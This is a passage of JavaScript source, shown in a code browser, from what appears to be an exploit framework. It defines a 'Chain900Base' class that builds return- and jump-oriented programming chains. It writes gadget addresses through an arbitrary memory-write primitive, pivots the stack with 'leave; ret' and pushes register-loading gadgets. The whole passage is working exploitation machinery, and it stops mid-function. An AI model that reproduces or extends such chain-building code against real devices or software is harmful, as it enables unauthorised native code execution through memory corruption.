| 190 | } |
| 191 | |
| 192 | class Chain900Base extends ChainBase { |
| 193 | constructor() { |
| 194 | super(); |
| 195 | |
| 196 | // for conditional jumps |
| 197 | this._clean_branch_ctx(); |
| 198 | this.flag = new Uint8Array(8); |
| 199 | this.flag_addr = get_view_vector(this.flag); |
| 200 | this.jmp_target = new Uint8Array(0x100); |
| 201 | rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4)); |
| 202 | rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); |
| 203 | |
| 204 | // for save/restore |
| 205 | this.is_saved = false; |
| 206 | this.is_stale = false; |
| 207 | this.position = 0; |
| 208 | const jmp_buf_size = 0xc8; |
| 209 | this.jmp_buf = new Uint8Array(jmp_buf_size); |
| 210 | this.jmp_buf_p = get_view_vector(this.jmp_buf); |
| 211 | } |
| 212 | |
| 213 | // sequence to pivot back and return |
| 214 | push_end() { |
| 215 | this.push_gadget("leave; ret"); |
| 216 | } |
| 217 | |
| 218 | check_is_branching() { |
| 219 | if (this.is_branch_ctx) { |
| 220 | throw Error('chain is still branching, end it before running'); |
| 221 | } |
| 222 | } |
| 223 | |
| 224 | push_value(value) { |
| 225 | super.push_value(value); |
| 226 | |
| 227 | if (this.is_branch_ctx) { |
| 228 | this.branch_position += 8; |
| 229 | } |
| 230 | } |
| 231 | |
| 232 | _clean_branch_ctx() { |
| 233 | this.is_branch_ctx = false; |
| 234 | this.branch_position = null; |
| 235 | this.delta_slot = null; |
| 236 | this.rsp_slot = null; |
| 237 | this.rsp_position = null; |
| 238 | } |
| 239 | |
| 240 | clean() { |
| 241 | super.clean(); |
| 242 | this._clean_branch_ctx(); |
| 243 | this.is_saved = false; |
| 244 | this.is_stale = false; |
| 245 | this.position = 0; |
| 246 | } |
| 247 | |
| 248 | push_get_retval() { |
| 249 | this.push_gadget('pop rdi; ret'); |
nothing calls this directly
no outgoing calls
no test coverage detected